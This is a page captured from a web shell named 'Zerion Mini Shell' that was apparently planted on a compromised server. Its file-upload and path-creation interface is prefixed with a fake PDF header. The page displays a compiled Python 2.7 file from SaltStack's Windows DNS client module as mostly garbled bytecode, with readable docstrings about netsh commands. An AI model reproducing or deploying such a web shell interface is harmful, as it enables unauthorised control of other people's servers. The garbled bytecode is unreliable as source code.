%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/modules/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/modules/win_dns_client.pyc

�
���^c@@s�dZddlmZmZmZddlZddlZyddlZWne	k
r]nXej
e�Zd�Z
dd�Zdd�Zddd	�Zdd
�Zdd�ZdS(u6
Module for configuring DNS Client on Windows systems
i(tabsolute_importtunicode_literalstprint_functionNcC@s tjjj�rdStdfS(u'
    Only works on Windows systems
    uwin_dns_clientu;Module win_dns_client: module only works on Windows systems(tsalttutilstplatformt
is_windowstFalse(((s?/usr/lib/python2.7/site-packages/salt/modules/win_dns_client.pyt__virtual__suLocal Area Connectionc
C@s�|jd�}dj|�}tjjj���tj�}xm|jdt	�D]Y}||j
krP|jd|j�j
�}yt|j�SWq�tk
r�gSXqPqPWWdQXtjd|�tS(u�
    Return a list of the configured DNS servers of the specified interface

    CLI Example:

    .. code-block:: bash

        salt '*' win_dns_client.get_dns_servers 'Local Area Connection'
    u\ut
NetEnabledtIndexNuInterface "%s" not found(tsplittjoinRRtwinapitComtwmitWMItWin32_NetworkAdaptertTruetNetConnectionIDt!Win32_NetworkAdapterConfigurationR
tpoptlisttDNSServerSearchOrdert	TypeErrortlogtdebugR(t	interfacetctifacetiface_config((s?/usr/lib/python2.7/site-packages/salt/modules/win_dns_client.pytget_dns_serverss
cC@s8ddddd||dg}td|dt�d	kS(
u�
    Remove the DNS server from the network interface

    CLI Example:

    .. code-block:: bash

        salt '*' win_dns_client.rm_dns <ip> <interface>
    unetshu	interfaceuipudeleteudnsuvalidate=noucmd.retcodetpython_shelli(t__salt__R(tipRtcmd((s?/usr/lib/python2.7/site-packages/salt/modules/win_dns_client.pytrm_dns9s
ic	C@s�t|�}|tkrtSy||d|kr7tSWntk
rKnX||krht||�nddddd||dj|�dg	}td	|d
t�dkS(uZ
    Add the DNS server to the network interface
    (index starts from 1)

    Note: if the interface DNS is configured by DHCP, all the DNS servers will
    be removed from the interface and the requested DNS will be the only one

    CLI Example:

    .. code-block:: bash

        salt '*' win_dns_client.add_dns <ip> <interface> <index>
    iunetshu	interfaceuipuaddudnsu	index={0}uvalidate=noucmd.retcodeR i(RRRt
IndexErrorR$tformatR!(R"RtindextserversR#((s?/usr/lib/python2.7/site-packages/salt/modules/win_dns_client.pytadd_dnsGs
cC@s5ddddd|dg}td|dt�d	kS(
u�
    Configure the interface to get its DNS servers from the DHCP server

    CLI Example:

    .. code-block:: bash

        salt '*' win_dns_client.dns_dhcp <interface>
    unetshu	interfaceuipusetudnsusource=dhcpucmd.retcodeR i(R!R(RR#((s?/usr/lib/python2.7/site-packages/salt/modules/win_dns_client.pytdns_dhcpls
cC@sz|jd�}dj|�}tjjj��Dtj�}x0|jdd�D]}||j	krP|j
SqPWWdQXdS(u�
    Get the type of DNS configuration (dhcp / static)

    CLI Example:

    .. code-block:: bash

        salt '*' win_dns_client.get_dns_config 'Local Area Connection'
    u\ut	IPEnablediN(RRRRR
RRRRtDescriptiontDHCPEnabled(RRR((s?/usr/lib/python2.7/site-packages/salt/modules/win_dns_client.pytget_dns_configzs(t__doc__t
__future__RRRtloggingtsalt.utils.platformRRtImportErrort	getLoggert__name__RRRR$R)R*R.(((s?/usr/lib/python2.7/site-packages/salt/modules/win_dns_client.pyt<module>s
		%

Zerion Mini Shell 1.0